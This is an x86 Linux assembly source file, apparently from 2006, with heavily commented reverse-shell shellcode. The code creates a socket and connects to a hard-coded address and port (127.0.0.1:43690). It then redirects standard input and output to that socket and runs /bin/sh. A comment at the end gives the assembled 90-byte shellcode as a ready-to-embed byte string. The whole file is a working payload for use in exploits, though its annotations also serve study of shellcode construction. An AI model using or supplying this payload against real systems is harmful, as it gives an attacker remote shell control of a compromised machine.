# Reverse Shell Code for Linux
# by Javantea
# June 22, 2006
# Analysis: http://www.altsci.com/concepts/revsh1.html

.globl main
main:
# %eax = 0
xor %eax, %eax
# %ebx = 0
xor %ebx, %ebx
# %edx = 0
cdq

# s = socket(2,1,0);
# push 0
push %eax
# push 1
push $0x1
# push 2
push $0x2

# store a pointer in %ecx
mov  %esp, %ecx
# %ebx = 1, socket()
inc  %bl
# %eax = 102, socketcall()
mov  $102, %al
# syscall
int  $0x80
# store s in %esi
mov  %eax, %esi

# connect(s, (struct sockaddr *)&serv_adr, 0x10)
# serv_adr.Address 127.0.0.1
# 5 ops equivalent to push $0x0100007f without nulls
inc  %dh
push %dx
mov $0x7f, %dl
dec  %dh
push %dx
// serv_adr.Port AAAA = 43690
pushw $0xAAAA
#pushw $0x3804
// serv_adr.Family = 0002
mov $0x2, %dl
pushw %dx
# a pointer to serv_adr, which is on the stack
mov  %esp, %ecx
# addrlen = 10
push $0x10
# &serv_adr
push %ecx
# s
push %esi
# pointer to s which is on the stack.
mov  %esp, %ecx
# %ebx = 3, connect()
mov  $3, %bl
# %eax = 102, socketcall()
mov  $102, %al
# syscall
int  $0x80
# FIXME: check for error.

# %edx = 0
cdq
# s
push %esi
# %ebx = s
mov  (%esp), %ebx
# for(i=2,i>=0,i--) dup2(new, i);
xor  %ecx, %ecx
# i = 3
mov  $3, %cl
l00p:
# i--
dec  %cl
# %eax = 63, dup2()
mov  $63, %al
# syscall
int  $0x80
# FIXME: check for error.
jnz  l00p

# execve("/bin/sh", {"/bin/sh", ""});
# push "", null termination of /bin//sh
push %edx
# push "//sh"
push $0x68732f2f
# push "/bin"
push $0x6e69622f
# store pointer to null terminated /bin//sh
mov  %esp, %ebx
# push ""
push %edx
# another pointer to /bin//sh
push %ebx
# a pointer to {"/bin//sh", ""}
mov  %esp, %ecx
# %eax = 0xb, execve()
mov $0xb, %al
# syscall
int $0x80

/*
char shellcode[] =
        "\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0"
        "\x66\xcd\x80\x89\xc6\xfe\xc6\x66\x52\xb2\x7f\xfe\xce\x66\x52"
        "\x99\x68\x02\x00\xaa\xaa\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3"
        "\x03\xb0\x66\xcd\x80\x56\x8b\x1c\x24\x31\xc9\xb1\x03\xfe\xc9"
        "\xb0\x3f\xcd\x80\x75\xf8\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
        "\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
90 bytes. Would be 84 bytes if it used an ip address without nulls.
*/